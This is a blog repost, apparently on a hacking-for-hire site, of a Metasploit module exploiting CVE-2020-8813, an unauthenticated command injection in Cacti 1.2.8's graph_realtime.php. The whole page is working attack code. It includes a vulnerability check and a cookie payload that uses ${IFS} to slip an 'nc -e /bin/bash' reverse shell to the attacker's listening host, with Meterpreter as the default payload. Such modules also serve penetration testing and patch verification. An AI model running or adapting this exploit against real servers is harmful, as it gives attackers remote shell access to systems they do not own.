Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863569695

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Cacti v1.2.8 - Unauthenticated Remote Code Execution (Metasploit)
# Date: 2020-02-29
# Exploit Author: Lucas Amorim (sh286)s
# CVE: CVE-2020-8813
# Vendor Homepage: https://cacti.net/
# Version: v1.2.8
# Tested on: Linux
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Cacti v1.2.8 Unauthenticated Remote Code Execution',
      'Description' => %q{graph_realtime.php in Cacti 1.2.8 allows remote attackers to 
        execute arbitrary OS commands via shell metacharacters in a cookie, if a guest user has 
        the graph real-time privilege.},
      'Author' =>
        [
          'Lucas Amorim ' # MSF module
        ],
      'License' => MSF_LICENSE,
      'Platform' => 'php',
      'References' =>
        [
          ['CVE', '2020-8813']
        ],
      'DisclosureDate' => 'Feb 21 2020',
      'Privileged' => true,
      'DefaultOptions' => {
        'PAYLOAD' => 'php/meterpreter/reverse_tcp',
        'SSL' => true,
      },
      'Targets' => [
        ['Automatic', {}]
      ],
      'DefaultTarget'   => 0))

      register_options(
        [
          Opt::RPORT(443),
          OptString.new('RPATH', [ false, "path to cacti", "" ])
        ])

        deregister_options('VHOST')
  end

  def check
    res = send_request_raw(
      'method' => 'GET',
      'uri' => "#{datastore['RPATH']}/graph_realtime.php?action=init"
    )

    if res && res.code == 200
      return Exploit::CheckCode::Vulnerable
    else
      return Exploit::CheckCode::Safe
    end
  end

  def send_payload()
    exec_payload=(";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % [datastore['LHOST'], datastore['LPORT']])
    send_request_raw(
      'uri' => "#{datastore['RPATH']}/graph_realtime.php?action=init",
      'method' => 'GET',
      'cookie' => "Cacti=#{Rex::Text.uri_encode(exec_payload, mode = 'hex-normal')}"
    )
  end

  def exploit
    if check == Exploit::CheckCode::Vulnerable
      print_good("Target seems to be a vulnerable")
      send_payload()
    else
      print_error("Target does not seem to be vulnerable. Will exit now...")
    end
  end
end